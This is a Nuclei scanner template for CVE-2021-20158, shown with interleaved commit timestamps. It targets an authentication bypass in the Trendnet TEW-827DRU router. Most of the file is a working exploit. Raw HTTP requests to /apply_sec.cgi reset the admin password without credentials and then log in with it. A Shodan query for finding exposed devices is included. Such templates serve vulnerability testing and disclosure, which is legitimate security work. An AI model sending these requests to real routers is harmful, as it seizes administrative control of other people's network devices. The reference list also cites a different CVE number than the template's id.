nuclei-templates/http/cves/2021/CVE-2021-20158.yaml

60 lines
1.8 KiB
YAML
Raw Normal View History

id: CVE-2021-20158
info:
name: Trendnet AC2600 TEW-827DRU 2.08B01 - Admin Password Change
author: gy741
severity: critical
description: Trendnet AC2600 TEW-827DRU version 2.08B01 contains an authentication bypass vulnerability. It is possible for an unauthenticated, malicious actor to force change the admin password due to a hidden administrative command.
reference:
- https://www.tenable.com/security/research/tra-2021-54
- https://nvd.nist.gov/vuln/detail/CVE-2021-20150
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-20158
2023-07-11 19:49:27 +00:00
cwe-id: CWE-306
epss-score: 0.01167
cpe: cpe:2.3:o:trendnet:tew-827dru_firmware:2.08b01:*:*:*:*:*:*:*
metadata:
max-request: 2
shodan-query: http.html:"TEW-827DRU"
2023-07-11 19:49:27 +00:00
vendor: trendnet
product: tew-827dru_firmware
tags: disclosure,router,intrusive,tenable,cve,cve2021,trendnet
2023-07-20 07:43:09 +00:00
variables:
password: "{{rand_base(6)}}"
http:
- raw:
- |
POST /apply_sec.cgi HTTP/1.1
Host: {{Hostname}}
2023-07-20 07:43:09 +00:00
ccp_act=set&action=tools_admin_elecom&html_response_page=dummy_value&html_response_return_page=dummy_value&method=tools&admin_password={{password}}
2022-02-04 18:01:10 +00:00
- |
POST /apply_sec.cgi HTTP/1.1
Host: {{Hostname}}
2023-07-20 07:43:09 +00:00
html_response_page=%2Flogin_pic.asp&login_name=YWRtaW4%3D&log_pass={{base64(password)}}&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'setConnectDevice'
- 'setInternet'
- 'setWlanSSID'
- 'TEW-827DRU'
condition: and
- type: word
part: header
words:
- "text/html"
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200